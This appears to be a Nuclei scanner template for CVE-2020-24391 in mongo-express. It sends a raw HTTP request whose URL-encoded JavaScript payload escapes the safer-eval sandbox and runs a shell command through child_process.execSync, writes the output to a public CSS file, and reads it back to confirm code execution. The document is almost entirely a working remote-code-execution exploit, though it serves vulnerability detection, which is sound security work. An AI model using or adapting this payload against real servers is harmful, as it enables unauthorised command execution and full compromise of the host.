52 lines
1.7 KiB
YAML
52 lines
1.7 KiB
YAML
id: CVE-2020-24391
|
|
|
|
info:
|
|
name: Mongo Express Remote Code Execution
|
|
author: leovalcante
|
|
severity: critical
|
|
description: Mongo-express uses safer-eval to validate user supplied javascript. Unfortunately safer-eval sandboxing capabilities are easily bypassed leading to RCE in the context of the node server.
|
|
reference:
|
|
- https://securitylab.github.com/advisories/GHSL-2020-131-mongo-express/
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2020-24391
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2020-24391
|
|
tags: cve,cve2020,mongo,express,rce,intrusive
|
|
|
|
|
|
requests:
|
|
- raw:
|
|
- |
|
|
GET / HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
- |
|
|
POST /checkValid HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
document=++++++++++++%28%28%29+%3D%3E+%7B%0A++++++++const+process+%3D+clearImmediate.constructor%28%22return+process%3B%22%29%28%29%3B%0A++++++++const+result+%3D+process.mainModule.require%28%22child_process%22%29.execSync%28%22id+%3E+build%2Fcss%2F{{randstr}}.css%22%29%3B%0A++++++++console.log%28%22Result%3A+%22+%2B+result%29%3B%0A++++++++return+true%3B%0A++++%7D%29%28%29++++++++
|
|
|
|
- |
|
|
GET /public/css/{{randstr}}.css HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
req-condition: true
|
|
cookie-reuse: true
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: regex
|
|
part: body_3
|
|
regex:
|
|
- "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)"
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
extractors:
|
|
- type: regex
|
|
regex:
|
|
- "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)"
|